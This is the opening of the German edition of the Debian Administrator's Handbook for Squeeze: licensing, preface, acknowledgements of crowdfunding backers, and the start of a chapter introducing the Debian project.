Das Debian Administrationshandbuch

Debian Squeeze, von der Entdeckung zur Beherrschung

Raphaël Hertzog

<hertzog@debian.org>

Roland Mas

<lolando@debian.org>

Copyright © 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010, 2011, 2012 Raphaël Hertzog

Copyright © 2006, 2007, 2008, 2009, 2010, 2011, 2012 Roland Mas

Copyright © 2012 Freexian SARL

ISBN: 979-10-91414-00-5 (Taschenbuch)

ISBN: 979-10-91414-01-2 (ebook)

Dieses Buch ist unter 2 Arten von Benutzungsrechten, welche vereinbar mit den freien Debian Software Richtlinien sind, verfügbar.

Creative Commons Lizenzhinweis:  Dieses Buch unterliegt der Creative Commons Lizenz "Namensnennung-Weitergabe unter gleichen Bedingungen 3.0 Unported (CC BY-SA 3.0) ".

→ http://creativecommons.org/licenses/by-sa/3.0/deed.de

GNU General Public License Hinweis:  Dieses Buch ist freie Dokumentation: Sie können sie weitergeben und / oder unter den Bedingungen der GNU General Public License verändern, entsprechend der Free Software Foundation entweder unter Version 2 der Lizenz oder (nach Ihrer Option) jeder späteren veröffentlichten Version.

Dieses Buch wird in der Hoffnung, dass es nützlich sein wird aber OHNE IRGENDEINE GARANTIE, sogar ohne die implizite Garantie der MARKTGÄNGIGKEIT oder EIGNUNG FÜR EINEN BESTIMMTEN ZWECK veröffentlicht. Lesen Sie die GNU General Public License für weitere Details.

Sie sollten eine Kopie der GNU General Public License zusammen mit diesem Programm erhalten haben. Falls nicht, siehe http://www.gnu.org/licenses/.

Zeigen Sie Ihre Anerkennung

Dieses Buch ist unter einer freien Lizenz veröffentlicht, weil wir wollen, dass alle davon profitieren. Nichtsdestoweniger verschlingt die Aufrechterhaltung viel Zeit und Anstrengungen und wir schätzen es, dafür Dank zu erhalten. Wenn Sie dieses Buch wertvoll finden, erwägen Sie mit einem Beitrag zu seiner kontinuierlichen Pflege entweder durch den Kauf einer Taschenbuchausgabe oder mit einer Spende durch das Buch der offiziellen Website:

→ http://debian-handbook.info

zu fördern.

Abstract

Dieses Nachschlagewerk präsentiert die Debian-Distribution, von der Erstinstallation bis zur Dienste-Konfiguration.

Einführung

Viele Fachleute sind zunehmend begeistert von Debian GNU/Linux, das den Erwartungen entspricht eine mächtige und flexible Distribution zu sein, die nicht sehr viel Pflege benötigt. Zumeist schätzen sie die Stabilität und die Ausfallsicherheit, die Automatisierung von Nebenaufgaben, wie auch die Stimmigkeit, die durch die strikte Anwendung von Spezifikationen erreicht werden sowie die Lebensdauer der Kenntnisse und Fähigkeiten.

Zur selben Zeit haben viele einflussreiche Personen in der Computerindustrie jetzt wahr genommen, wie strategisch wichtig eine durchdachte Distribution ist die nicht von einem kommerziellen Interesse geprägt wird. Einige Kunden haben zudem - der gleichen Logik folgen - dass eine Softwareplattform, die nicht vom Wohl wollen der Zulieferer abhängt den Druck reduziert den sie nach dem Kauf haben werden.

Letztendlich erkunden auch viele Anfänger Debian durch Projekte wie Knoppix und Ubuntu, während Andere "unter die Haube schauen" weil sie Enttäuschungen vermeiden wollen.

Debian - das eher unauffällig war - wurde zuerst von leidenschaftlichen Anwendern angenommen die oft von der Idee die hinter Debian steckt angezogen wurden. Sie fanden ein Projekt mit klaren Zielen und sichtbaren Erfolgen dessen Entwickler sich darauf ausrichteten, ein gutes Design vor der Erstellung zu definieren - und damit Terminpläne die so oft die Qualität von vielen anderen Softwareprojekten beeinträchtigen zurückzuweisen. Debian wird von seinen Entwicklern geleitet. Anders ausgedrückt, Debian-Nutzer nehmen an einem Projekt teil das vollständig von den Vorteilen der freien Software profitiert... und entwickeln selbst freie Software.

Das Debian Administratorenhandbuch wird Sie auf den Weg zur Selbständigkeit führen. Es konnte nur von Autoren geschrieben werden, die sowohl die technischen Aspekte und die tieferen Zusammenhänge des Debian Projektes kennen, die wissen dass man sowohl bewährte Fachleute braucht als auch Enthusiasten. Raphaël Hertzog und Roland Mas haben die erforderlichen Kenntnisse und haben es geschafft, dieses Buch zu erstellen und weiterzuführen. Ich danke ihnen sehr für ihre Arbeit und ich habe keine Zweifel dass die Lektüre lehrreich ist und Ihnen Spaß machen wird.

Nat Makarevitch (PGP/GPG fingerprint: 2010 4A02 9C0E 7D1F 5631 ADF0 453C 4549 0230 D602)

Vorwort

Linux hat in den letzten Jahren an Bedeutung zugenommen und seine steigende Beliebtheit bewegt mehr und mehr Nutzer zum Umstieg. Der erste Schritt auf diesem Weg ist die Auswahl einer Distribution. Das ist eine wichtige Entscheidung, denn jede Distribution hat ihre Besonderheiten und eine spätere Migration kann dadurch vermieden werden, dass man sich gleich am Anfang richtig entscheidet.

ZURÜCK ZU DEN ANFÄNGEN Linux-Distribution, Linux-Kernel

Streng genommen ist Linux nur ein Kernel, das Kernstück jener Software, die zwischen der Hardware und den Anwendungen vermittelt.

Eine “Linux-Distribution” ist ein vollständiges Betriebssystem. Normalerweise enthält es den Linux-Kernel, ein Installationsprogramm und die meisten wichtigen Anwendungen sowie andere Software, die man benötigt, um aus einem Computer ein tatsächlich nützliches Werkzeug zu machen.

Debian GNU/Linux ist eine “allgemeine” Distribution, die für die meisten Benutzer passt. Der Zweck dieses Buches ist es, die vielen Möglichkeiten aufzuzeigen, sodass Sie sich bei der Wahl gut informiert entscheiden können.

1. Warum dieses Buch?

KULTUR Kommerzielle Distributionen

Die meisten Linux-Distributionen werden von gewinnorientierten Unternehmen herausgegeben, die sie entwickeln und unter einer Art von Geschäftsmodell vertreiben. Beispielsweise Ubuntu, hauptsächlich von Canonical Ltd. entwickelt; Mandriva Linux, von der französischen Firma Mandriva SA; und Suse Linux, welches von Novell gewartet und kommerziell bereitgestellt wird.

Am anderen Ende des Spektrums findet man Projekte wie Debian und die Apache Software Foundation (welche die Entwicklung des Apache Web Server vorantreibt). Debian ist vor allem ein Projekt aus der Welt der freien Software, umgesetzt von Freiwilligen, die über das Internet zusammenarbeiten.

Über Linux hat es ziemlich viele Medienberichte gegeben, was jedoch meistens jenen Distributionen hilft, die von einer Marketingabteilung unterstützt werden - also firmenbetriebenen Distributionen (Ubuntu, Red Hat, Suse, Mandriva usw.) Trotzdem ist Debian weit davon entfernt, eine Nischendistribution zu sein: Laut einer Studie aus dem Frühjahr 2009 ist Debian die am häufigsten eingesetzte Distribution auf Servern (fast die Hälfte der antwortenden Firmen hat mindestens einen Debian-Server) und die am zweithäufigsten auf Desktops eingesetzte Distribution (direkt hinter Ubuntu, das ein Derivat von Debian ist).

→ http://www.heise.de/open/artikel/Eingesetzte-Produkte-224518.html

Der Zweck dieses Buches ist es, Ihnen bei der Entdeckung dieser Distribution zu helfen. Wir hoffen, die Erfahrungen weitergeben zu können, die wir seit 1998 (Raphaël) und 2000 (Roland) als Entwickler und Mitarbeiter im Projekt gesammelt haben. Mit etwas Glück wird unser Enthusiasmus auf Sie überspringen und Sie arbeiten eines Tages bei uns mit …

Die erste Ausgabe dieses Buches (2004) wurde erstellt, um eine große Lücke zu schließen; es war das erste französischsprachige Buch, das sich ausschließlich mit Debian beschäftigte. Zu dieser Zeit wurden viele andere Bücher über das Thema sowohl für französisch- als auch für englischsprachige Leser geschrieben. Unglücklicherweise wurde fast keines davon aktualisiert, und heute finden wir uns wieder in der Situation, dass es nur sehr wenige gute Bücher über Debian gibt. Wir hoffen wirklich, dass diese erste deutsche Ausgabe (Anmerk. des Übersetzers: Im Original steht hier englische Ausgabe) diese Lücke schließt und vielen Nutzern helfen wird.

2. Für wen ist dieses Buch?

Wir haben versucht, dieses Buch für viele Kategorien von Lesern nützlich zu gestalten. Zuerst werden Systemadministratoren (sowohl Anfänger als auch Erfahrene) Erklärungen über die Installation und das Ausrollen von Debian auf vielen Computern finden. Sie werden auch einen flüchtigen Eindruck der Dienste erhalten, die bei Debian verfügbar sind, zusammen mit passenden Anweisungen zur Konfiguration und der Beschreibung der Besonderheiten der Distribution. Das Verständnis der Entwicklungsmechanismen von Debian wird es ihnen ermöglichen, bei unvorhergesehenen Problemen Lösungen zu finden, wohl wissend, dass sie immer Hilfe innerhalb der Community finden können.

Benutzer einer anderen Linux-Distribution oder einer anderen Unix-Variante werden die Eigenheiten von Debian entdecken und dabei sehr schnell handlungsfähig werden, während sie gleichzeitig von den einzigartigen Vorteilen dieser Distribution profitieren.

Schließlich werden Leser, die bereits einiges Wissen über Debian haben und mehr über die Gemeinschaft dahinter erfahren möchten, ihre Erwartungen erfüllt sehen. Dieses Buch sollte ihnen die Entscheidung erleichtern, uns als Mitarbeitende zu unterstützen.

3. Gewähltes Vorgehen

Alle allgemeinen Dokumentationen, die Sie über GNU/Linux finden, treffen ebenso auf Debian zu, da Debian die am meisten verbreitete freie Software enthält. Allerdings bringt die Distribution viele Verbesserungen, ein Grund, warum wir uns entschieden haben, vorwiegend den “Debian-Weg” zu beschreiben.

Es mag interessant sein, den Debian-Empfehlungen zu folgen, aber es ist noch besser, ihre Begründung zu verstehen. Deshalb werden wir uns nicht auf praktische Erklärungen beschränken; wir werden ebenso die Projektarbeiten beschreiben, um so ein verständliches und beständiges Wissen zu vermitteln.

4. Gliederung des Buches

Der Gliederung und den Zielen der Eyrolles-Kollektion “Administrator's Handbook” folgend, wird es in diesem Buch um Fallstudien gehen und dabei werden sowohl Unterstützung als auch Veranschaulichung für alle behandelten Themen geboten.

NOTE Website, E-Mail-Adressen der Autoren

This book has its own website, which hosts whatever elements that can make it more useful. In particular, it includes an online version of the book with clickable links, and possible errata. Feel free to browse it and to leave us some feedback. We will be happy to read your comments or support messages. Send them by email to <hertzog@debian.org> (Raphaël) and <lolando@debian.org> (Roland).

→ http://debian-handbook.info/

Kapitel 1 konzentriert sich auf die allgemeine Vorstellung des Debian-Projektes und beschreibt dessen Ziele und die Organisation. Diese Informationen sind wichtig, weil sie den Rahmen definieren, den andere Kapitel dann mit mehr anschaulicher Information vervollständigen.

Chapters 2 and 3 provide a broad outline of the case study. At this point, novice readers can take the time to read appendix B, where they'll find a short remedial course explaining a number of basic computing notions, as well as concepts inherent to any Unix system.

Um mit unserem eigentlichen Thema voranzukommen, werden wir natürlich mit dem Installationsprozess starten (Kapitel 4). Kapitel 5 und 6 werden die grundlegenden Werkzeuge bekannt machen, die jeder Debian-Administrator nutzen wird, beispielsweise jene der APT-Familie, die in hohem Maße für die außerordentlich gute Bewertung der Distribution verantwortlich ist. Diese Kapitel sind natürlich in keiner Weise nur den Fachleuten vorbehalten, da jeder daheim sein eigener Administrator ist.

Kapitel 7 wird ein wichtiger Einschub sein. Es beschreibt die Abläufe, um die Dokumentation effizient zu nutzen und schnell ein Verständnis für zu lösende Probleme zu bekommen.

Die nächsten Kapitel beherbergen einen detaillierten Streifzug durch das System, angefangen bei der Infrastruktur und den Diensten (Kapitel 8 bis 10) und von da an stufenweise nach oben zu den Benutzeranwendungen in Kapitel 13. Kapitel 12 behandelt fortgeschrittene Themen, die in erster Linie Administratoren einer größeren Anzahl Computer (inklusive Servern) betreffen, während Kapitel 14 eine kurze Einführung in das umfangreichere Thema der Computersicherheit darstellt und ein paar Hinweise gibt, um die häufigsten Probleme zu vermeiden.

Kapitel 15ist für Administratoren, die noch weiter gehen und ihre eigenen Debian-Pakete erstellen wollen.

BEGRIFFDebian-Paket

Ein Debian-Paket ist ein Archiv, das alle Dateien enthält, die man zur Installation einer Software benötigt. Es ist normalerweise eine Datei mit der Endung .deb und es wird mit dem dpkg-Kommando verarbeitet. Auch als Binärpaket bezeichnet, enthält es Dateien, die direkt genutzt werden können (beispielsweise Programme oder Dokumentation). Im Gegensatz dazu enthält ein Quellpaket den Quellcode für die Software und die Anweisungen, die benötigt werden, um daraus ein Binärpaket zu bauen.

Die aktuelle deutsche Version basiert auf der englischen Übersetzung der 5. Auflage des französischen Buches. Diese 5. Auflage ist eine wichtige Aktualisierung, die die Version 6.0 von Debian, mit dem Codenamen Squeeze, abdeckt. Unter anderem unterstützt Debian nun zwei neue Archtiekturen — kfreebsd-i386 und kfreebsd-amd64 - basierend auf dem FreeBSD-Kernel und mit Unterstützung der dazugehörigen Technologien (Jails, Paketfilter usw.) Auf der Linux-basierten Architektur erweitert der 2.6.32-Kernel die Unterstützung aller wichtigen Virtualisierungstechniken (Xen/OpenVZ/LXC/KVM, siehe Section 12.2, “Virtualisierung”). Alle enthaltenen Pakete wurden offensichtlich aktualisiert. Viele der Verbesserungen zielen besonders auf die Paket-Maintainer, die nun Vereinfachungen in debian/rules (mit dem debhelper-Kommando dh) nutzen könnnen; sie profitieren auch von einem standardisierten Patch Management System, das ins Kommando dpkg-source eingebaut wurde (Nutzung des Quellpaketformats 3.0 [quilt]).

Wir haben ein paar Notizen und Anmerkungen an die Seitenränder hinzugefügt. Sie besitzen unterschiedliche Rollen: Sie können die Aufmerksamkeit auf einen schwierigen Punkt lenken, ein Fallbeispiel vervollständigen, einige Begriffe definieren oder als Merker dienen. Hier ist ein Liste der gebräuchlichsten Randbemerkungen:

GRUNDLAGEN: Eine Erinnerung für Wissen, das als bekannt vorausgesetzt wird;

FACHWISSEN: Definiert einen technischen Ausdruck, manchmal speziell für Debian;

COMMUNITY: Weist auf wichtige Leute oder Rollen innerhalb des Projektes hin;

POLICY: Eine Regel oder Empfehlung, die aus der Debian Policy abgeleitet ist. Dieses Dokument ist die Grundlage für das Projekt und beschreibt, wie Software zu paketieren ist. Die Teile der Policy, auf die wir in diesem Buch eingehen, bringen dem Leser direkten Nutzen (beispielsweise zu wissen, dass die Policy die Orte für Dokumentation und Beispiel standardisiert, macht es einfach, diese auch in einem neuen Paket zu finden).

WERKZEUG: Beschreibt ein wichtiges Werkzeug oder einen wichtigen Dienst;

PRAXIS: Theorie und Praxis passen nicht immer zusammen; diese Randbemerkung enthält einen Ratschlag aus unserer Erfahrung. Sie kann auch genaue und anschauliche Beispiele geben;

Andere, mehr oder weniger häufig benutzte Randbemerkungen sprechen für sich: KULTUR, TIPP, VORSICHT, ERWEITERT, SICHERHEIT usw.

5. Dank

5.1. Ein wenig Geschichte

Im Jahr 2003 hat mich (Raphaël) Nat Makarevitch kontaktiert, weil er ein Buch über Debian im Rahmen der Kollektion Cahier de l'Admin (Administratorenhandbuch) publizieren wollte, die er für Eyrolles, einen führenden Herausgeber von technischen Büchern in Frankreich, betreute. Ich sagte sofort zu. Die erste Ausgabe kam am 14. Oktober 2004 heraus und war ein großer Erfolg — sie war nach knapp vier Monaten bereits ausverkauft.

Seitdem haben wir vier weitere Ausgaben des französischen Buches herausgegeben, eine für jedes Debian-Release. Roland Mas, der angefangen hatte, mein Buch zu korrigieren, wurde immer mehr sein Co-Autor.

Obwohl wir offensichtlich mit dem Erfolg des Buches zufrieden sein durften, haben wir immer gehofft, dass Eyrolles einen anderen internationalen Herausgeber davon überzeugen würde, es ins Englische zu übersetzen. Wir haben zahlreiche Mitteilungen erhalten, wie das Buch den Leuten geholfen hat, mit Debian anzufangen, und wir waren scharf darauf, dass das Buch mehr Menschen in der gleichen Weise hilft.

Leider wollte keiner der englischsprachigen Verlage, die wir kontaktiert hatten, das Risiko der Übersetzung und Veröffentlichung des Buches auf sich nehmen. Ohne uns von diesem kleinen Rückschlag aufhalten zu lassen, entschieden wir uns, mit dem französischen Herausgeber Eyrolles zu verhandeln, um die notwendigen Rechte zu bekommen, das Buch selbst ins Englische zu übersetzen und herauszugeben.

5.2. Eine massenfinanzierte Übersetzung

Ein Buch mit 450 Seiten zu übersetzen, ist ein beachtlicher Aufwand, der mehrere Monate Arbeit erfordert. Selbstständige Leute wie Roland und ich müssen dabei ein minimales Einkommen sicherstellen, um die notwendige Zeit für die Fertigstellung des Projekts aufzubringen. Darum haben wir eine Massenfinanzierungskampagne auf Ulule gestartet und die Leute aufgefordert, Geld für das Projekt zur Verfügung zu stellen.

→ http://www.ulule.com/debian-handbook/

Die Kampagne hatte zwei Ziele: 15.000 € für die Übersetzung aufzubringen und die Erhöhung eines Liberierungs-Fonds auf 25.000 €, um das fertige Buch unter einer freien Lizenz zu veröffentlichen — also einer Lizenz, die vollständig den Debian-Richtlinien für freie Software folgt.

Als die Ulele-Kampagne endete, war das erste Ziel mit 24.345 € erreicht. Der Liberierungs-Fonds war aber mit nur 14.935 € nicht vollständig. Wie ursprünglich angekündigt, wurde die Liberierungskampagne unabhängig von Ulele auf der offiziellen Website des Buches weitergeführt.

Während wir mit der Übersetzung des Buches beschäftigt waren, liefen weitere Spenden für die Liberierung ein … und im April 2012 war der Liberierungsfonds vollständig gefüllt. Deshalb können Sie von diesem Buch unter den Bedingungen einer freien Lizenz profitieren.

Wir möchten allen danken, die sich an einer der Spendenkampagnen beteiligt haben, entweder durch Geldzusagen oder durch das Verbreiten der Nachricht. Ohne sie hätten wir es nicht geschafft.

5.2.1. Unterstützende Firmen und Organisationen

Sehr zu unserer Freude bekamen wir bemerkenswerte Unterstützung von vielen Firmen und Organisationen, die freie Software mögen. Danke an Code Lutin,École Ouverte Francophone, Evolix, Fantini Bakery, FSF France, Offensive Security (die Firma hinter BackTrack Linux), Opensides, Proxmox Server Solutions GmbH, SSIELL (Société Solidaire d'Informatique En Logiciels Libres) und Syminet.

Wir möchten auch OMG! Ubuntu und April für ihre Hilfe bei der Förderung des Projekts danken.

5.2.2. Individuelle Unterstützer

Mit unseren über 650 Unterstützern in der ursprünglichen Spendenkampagne und vielen hundert mehr in der fortgesetzten Liberierungskampagne danken wir Leuten wie Ihnen, dass dieses Projekt möglich wurde. Herzlichen Dank!

Wir möchten uns besonders bei jenen bedanken, die mindestens 35 € (manchmal viel mehr!) in den Liberierungsfonds eingebracht haben. Wir freuen uns, dass so viele Menschen unsere Wertvorstellung von Freiheit teilen und der Meinung sind, dass wir einen Ausgleich für die Arbeit verdienen, die wir in das Projekt gesteckt haben.

So danken wir Alain Coron, Alain Thabaud, Alan Milnes, Alastair Sherringham, Alban Dumerain, Alessio Spadaro, Alex King, Alexandre Dupas, Ambrose Andrews, Andre Klärner, Andreas Olsson, Andrej Ricnik, Andrew Alderwick, Anselm Lingnau, Antoine Emerit, Armin F. Gnosa, Avétis Kazarian, Bdale Garbee, Benoit Barthelet, Bernard Zijlstra, Carles Guadall Blancafort, Carlos Horowicz — Planisys S.A., Charles Brisset, Charlie Orford, Chris Sykes, Christian Bayle, Christian Leutloff, Christian Maier, Christian Perrier, Christophe Drevet, Christophe Schockaert (R3vLibre), Christopher Allan Webber, Colin Ameigh, Damien Dubédat, Dan Pettersson, Dave Lozier, David Bercot, David James, David Schmitt, David Tran Quang Ty, Elizabeth Young, Fabian Rodriguez, Ferenc Kiraly, Frédéric Perrenot — Intelligence Service 001, Fumihito Yoshida, Gian-Maria Daffré, Gilles Meier, Giorgio Cittadini, Héctor Orón Martínez, Henry, Herbert Kaminski, Hideki Yamane, Hoffmann Information Services GmbH, Holger Burkhardt, Horia Ardelean, Ivo Ugrina, Jan Dittberner, Jim Salter, Johannes Obermüller, Jonas Bofjäll, Jordi Fernandez Moledo, Jorg Willekens, Joshua, Kastrolis Imanta, Keisuke Nakao, Kévin Audebrand, Korbinian Preisler, Kristian Tizzard, Laurent Bruguière, Laurent Hamel, Leurent Sylvain, Loïc Revest, Luca Scarabello, Lukas Bai, Marc Singer, Marcelo Nicolas Manso, Marilyne et Thomas, Mark Janssen — Sig-I/O Automatisering, Mark Sheppard, Mark Symonds, Mathias Bocquet, Matteo Fulgheri, Michael Schaffner, Michele Baldessari, Mike Chaberski, Mike Linksvayer, Minh Ha Duong, Moreau Frédéric, Morphium, Nathael Pajani, Nathan Paul Simons, Nicholas Davidson, Nicola Chiapolini, Ole-Morten, Olivier Mondoloni, Paolo Innocenti, Pascal Cuoq, Patrick Camelin, Per Carlson, Philip Bolting, Philippe Gauthier, Philippe Teuwen, PJ King, Praveen Arimbrathodiyil (j4v4m4n), Ralf Zimmermann, Ray McCarthy, Rich, Rikard Westman, Robert Kosch, Sander Scheepens, Sébastien Picard, Stappers, Stavros Giannouris, Steve-David Marguet, T. Gerigk, Tanguy Ortolo, Thomas Hochstein, Thomas Müller, Thomas Pierson, Tigran Zakoyan, Tobias Gruetzmacher, Tournier Simon, Trans-IP Internet Services, Viktor Ekmark, Vincent Demeester, Vincent van Adrighem, Volker Schlecht, Werner Kuballa, Xavier Neys und Yazid Cassam Sulliman.

5.3. Ein besonderer Dank an die Mitwirkenden

Dieses Buch wäre nicht, was es ist, ohne die Mitwirkung von einigen Personen, die alle eine wichtige Rolle gespielt haben. Wir möchten Marilyne Brun danken, die uns bei der Übersetzung des Beispielkapitels geholfen hat und mit uns zusammengearbeitet hat, um einige grundlegende Übersetzungsregeln zu definieren. Sie hat ebenso einige Kapitel überarbeitet, die es wirklich nötig hatten. Danke an Anthony Baldwin (von Baldwin Linguas), der einige Kapitel für uns übersetzt hat.

Wir haben auch von großzügiger Hilfe von Korrektoren profitiert: Daniel Phillips, Gerold Rupprecht, Gordon Dey, Jacob Owens und Tom Syroid. Sie alle haben viele Kapitel kontrolliert. Herzlichen Dank.

Wir möchten uns auch bei den Lesern des französischen Buches bedanken, die uns mit ihren netten Zitaten gezeigt haben, dass dieses Buch es wert ist, übersetzt zu werden; Dank an Christian Perrier, David Bercot, Étienne Liétart und Gilles Roussi. Stefano Zacchiroli - der während der Finanzierungskampagne der Debian-Projektleiter war - verdient ebenso ein großes Danke, er befürwortete freundlicherweise das Projekt mit einem Zitat, das erklärte, dass freie (wie Freiheit) Bücher mehr als nötig sind.

Wenn Sie die Gelegenheit haben, diese Zeilen in einer Taschenbuchausgabe dieses Buches zu lesen, dann sollten Sie sich uns anschließen, Benoît Guillon, Jean-Côme Charpentier und Sébastien Mengin zu danken, die am inneren Design des Buches gearbeitet haben. Benoît ist der Upstream-Autor von dblatex - dem Werkzeug mit dem DocBook nach LaTeX (und dann PDF) konvertiert wird. Sébastien ist der Designer, der dieses schöne Layout erschaffen hat, und Jean-Côme ist der LaTeX-Spezialist, der das Stylesheet für dblatex eingebaut hat. Danke Jungs für all die harte Arbeit!

Schließlich ein Danke an Thierry Stempfel für die netten Bilder, die jedes Kapitel einleiten und Danke auch an Doru Patrascu für den schönen Buchumschlag.

5.4. Persönliche Danksagungen von Raphaël

Ich möchte vor allem Nat Makarevitch danken, der mir die Möglichkeit gegeben hat, dieses Buch zu schreiben, und mir eine solide Orientierung während jenes Jahres gab, das das Buch brauchte, um fertig zu werden. Danke auch an Eyrolles und besonders an Muriel Shan Sei Fan. Sie war sehr geduldig mit mir und ich lernte viel von ihr.

Die Zeit der Ulele-Kampagne war sehr anstrengend für mich, aber ich möchte jedem danken, der mitgeholfen hat, dass es ein Erfolg wird, besonders dem Ulele-Team, das sehr schnell auf viele Anforderungen reagierte. Danke auch an alle, die diese Aktion beworben haben. Ich habe keine erschöpfende Liste (und wenn ich eine hätte, wäre sie wahrscheinlich zu lang), aber ich möchte ein paar Leuten danken, die direkten Kontakt mit mir hatten: Joey-Elijah Sneddon und Benjamin Humphrey von OMG! Ubuntu, Frédéric Couchet von April.org, Jake Edge von Linux Weekly News, Clement Lefebvre von Linux Mint, Ladislav Bodnar von Distrowatch, Steve Kemp von Debian-Administration.org, Christian Pfeiffer Jensen von Debian-News.net, Artem Nosulchik von LinuxScrew.com, Stephan Ramoin von Gandi.net, Matthew Bloch von Bytemark.co.uk, das Team bei Divergence FM, Rikki Kite von Linux New Media, Jono Bacon, die Marketingabteilung bei Eyrolles und die unzähligen anderen, die ich vergessen habe (Entschuldigung deswegen).

Einen besonderen Dank möchte ich an Roland Mas senden, meinen Co-Autor. Wir haben von Anfang an bei diesem Buch zusammengearbeitet und er war immer bereit für diese Herausforderung. Und ich muss sagen, die Fertigstellung des Debian-Administratorenhandbuches war eine Menge Arbeit …

Last but not least: Danke an meine Frau Sophie. Sie war sehr hilfreich während meiner Arbeit an diesem Buch oder an Debian im Allgemeinen. Es waren zu viele Tage (und Nächte,) an denen ich sie allein mit unserem 2-jährigen Sohn gelassen habe, um am Buch weiterzuarbeiten. Ich bin dankbar für ihre Unterstützung und ich weiß, wie viel Glück ich habe, sie zu haben.

5.5. Persönliche Danksagungen von Roland

Nun, Raphaël hat die meisten meiner "externen" Danksagungen ja bereits abgehandelt. Ich möchte aber trotzdem meinen persönlichen Dank für die guten Leute bei Eyrolles hervorheben, mit ihnen war die Zusammenarbeit immer freundlich und reibungslos. Ich hoffe, dass die Ergebnisse ihrer hervorragenden Ratschläge nicht bei der Übersetzung verloren gingen.

Ich bin Raphaël auch sehr dankbar dafür, den verwaltungstechnischen Teil der englischen Ausgabe zu übernommen zu haben. Angefangen bei der Finanzierungskampagne bis hin zum letzten Detail im Layout des Buches, Übersetzen ist so viel mehr als nur Übersetzen und Kontrollieren, und Raphaël übernahm (oder delegierte und überwachte) das alles. Danke.

Danke auch an alle, die mehr oder weniger direkt zu diesem Buch beigetragen haben, durch Klarstellungen oder Erklärungen oder durch Übersetzungsratschläge. Es wären zu viele zu erwähnen, die meisten von ihnen kann man auf den verschiedenen #debian-*-IRC-Kanälen finden.

Natürlich gibt es Überschneidungen mit den bereits erwähnten Leuten, aber ein spezielles Danke ist bestimmt angebracht für die Leute, die zurzeit an Debian arbeiten. Es gäbe nicht viel von einem Buch ohne sie, und ich bin immer noch beeindruckt von dem, was das Debian-Projekt als Gesamtheit produziert und für jeden und alle bereitstellt.

Ein mehr persönliches Dankeschön geht an meine Freunde und Kunden für ihr Verständnis, wenn ich weniger schnell reagieren konnte, weil ich an diesem Buch arbeitete, und für ihre ständige Unterstützung, ihre Aufmunterungen und Herausforderungen. Ihr wisst, wer gemeint ist, Danke.

Abschließend (ich bin sicher, sie sind erstaunt, sich hier zu finden) möchte ich meinen Dank auf Terry Pratchett, Jasper Fforde, Tom Holt, William Gibson, Neal Stephenson und natürlich dem späten Douglas Adams ausdehnen. Die unzähligen Stunden, die ich damit verbracht habe, ihre Bücher zu genießen, sind direkt dafür verantwortlich, dass ich in der Lage war, bei der Übersetzung dieses Buches mitzuarbeiten.

Chapter 1. Das Debian-Projekt

Lassen Sie uns, bevor wir in die Materie eintauchen, ansehen, was das Debian-Projekt ist: seine Ziele, seine Mittel, seine Arbeitsabläufe.

1.1. Was ist Debian?

KULTUR Ursprung des Namens Debian

Debian ist kein Akronym. Der Name ist vielmehr ein Zusammenzug zweier Vornamen: derjenigen von Ian Murdock und seiner damaligen Freundin Debra: Debra + Ian = Debian.

Debian ist eine GNU/Linux- und GNU/kFreeBSD-Distribution. Im Kapitel Section 1.4, “Die Rolle der Distributionen” werden wir näher darauf eingehen, was eine Distribution ist. Jetzt halten wir nur fest, dass es ein vollständiges Betriebssystem ist, welches Programme und Systeme für Installation und Verwaltung enthält, die alle auf dem Linux- oder dem FreeBSD-Kernel und auf freier Software beruhen (vor allem solche aus dem GNU-Projekt).

Als Ian Murdock 1993 Debian unter der Führung der FSF ins Leben rief, hatte er klare Ziele, die er im Debian Manifesto vorstellte. Das freie Betriebssystem, das er anstrebte, sollte zwei Hauptmerkmale haben. Erstens Qualität: Debian sollte äußerst sorgfältig entwickelt werden, um des Linux-Kernels würdig zu sein. Es sollte außerdem eine nicht kommerzielle Distribution sein, und zwar hinreichend zuverlässig, um sich mit größeren kommerziellen Distributionen messen zu können. Diese doppelte Zielsetzung konnte seiner Meinung nach nur dadurch erreicht werden, dass der Entwicklungsprozess für Debian in gleicher Weise wie bei Linux und dem GNU-Projekt geöffnet würde. So würde gegenseitige Begutachtung durch Kollegen das Produkt fortlaufend verbessern.

KULTUR GNU, das Projekt der FSF

Das GNU-Projekt ist eine Sammlung freier Software, entwickelt und unterstützt von der Free Software Foundation (FSF), die von ihrem charismatischen Leiter Dr. Richard M. Stallman gegründet wurde. GNU ist ein rekursives Akronym, das „GNU is Not UNIX” bedeutet.

KULTUR Richard Stallman

Der Gründer der FSF und Autor der GPL-Lizenz, Richard M. Stallman (häufig mit seinen Initialen als RMS bezeichnet), ist ein charismatischer Führer der Bewegung der freien Software. Aufgrund seiner kompromisslosen Einstellungen ist er nicht unumstritten, aber seine nicht technischen Beiträge zur freien Software (besonders auf der rechtlichen und der philosophischen Ebene) werden von allen respektiert.

1.1.1. Ein Multi-Plattform-Betriebssystem

GEMEINSCHAFT Ian Murdocks Weg

Ian Murdock, Gründer des Debian-Projekts, war von 1993 bis 1996 sein erster Leiter. Nachdem er den Stab an Bruce Perens übergeben hatte, übernahm er eine weniger öffentliche Rolle. Er arbeitete wieder hinter den Kulissen der Community, die sich für freie Software einsetzt, und gründete die Firma Progeny in der Absicht, eine von Debian abgeleitete Distribution zu vermarkten. Dieses Unterfangen war leider ein kommerzieller Misserfolg, und die Weiterentwicklung wurde aufgegeben. Nach mehreren Jahren des Dahinvegetierens als Service Provider meldete das Unternehmen im April 2007 schließlich Insolvenz an. Von den zahlreichen durch Progeny initiierten Projekten ist nur noch discover übrig geblieben. Es ist ein Hilfsprogramm zur automatischen Hardwareerkennung.

Debian, das seinen ursprünglichen Grundsätzen immer treu geblieben ist, hatte so viel Erfolg, dass es heute einen riesigen Umfang erreicht hat. Die elf angebotenen Bauarten umfassen neun Hardwarearchitekturen und zwei Kernel (Linux und FreeBSD). Darüber hinaus kann die vorhandene Software mit mehr als 14.500 Quellpaketen fast jeden denkbaren Bedarf abdecken, sowohl zu Hause als auch im Unternehmen.

